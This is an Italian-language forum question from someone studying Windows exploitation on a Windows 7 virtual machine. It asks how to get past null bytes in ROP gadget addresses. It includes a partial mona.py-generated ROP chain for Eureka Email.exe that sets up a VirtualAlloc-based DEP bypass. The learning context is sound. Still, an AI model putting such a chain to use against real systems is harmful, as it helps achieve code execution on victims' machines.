Attualmente sto lavorando all'apprendimento di Windows Exploitation e sto lavorando su una macchina virtuale Windows 7. Stavo passando alcuni tutorial e mentre hanno funzionato bene su Vista e sotto, non lo faranno su Windows 7 a causa di una nuova restrizione.
La limitazione è che gli indirizzi che potrei usare per ROP sono ora mappati a 0x00 e che contiene un byte NULL. Questo è anche lo stesso con i potenziali gadget come "call esp, jmp esp, etc"
!mona rop
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x0045021d, # POP EAX # RETN [Eureka Email.exe]
0x004570a8, # ptr to &VirtualAlloc() [IAT Eureka Email.exe]
0x004124d4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Eureka Email.exe]
0x004412d7, # PUSH EAX # PUSHAD # XOR EAX,EAX # POP ESI # RETN [Eureka Email.exe]
0x00446d9f, # POP EBP # RETN [Eureka Email.exe]
0x00415e82, # & push esp # ret [Eureka Email.exe]
Come faccio a ignorare questa nuova restrizione in Windows 7? In Linux so che questo è "ASCII Guard", ma non lo conosco in Windows, né sapevo che era una cosa.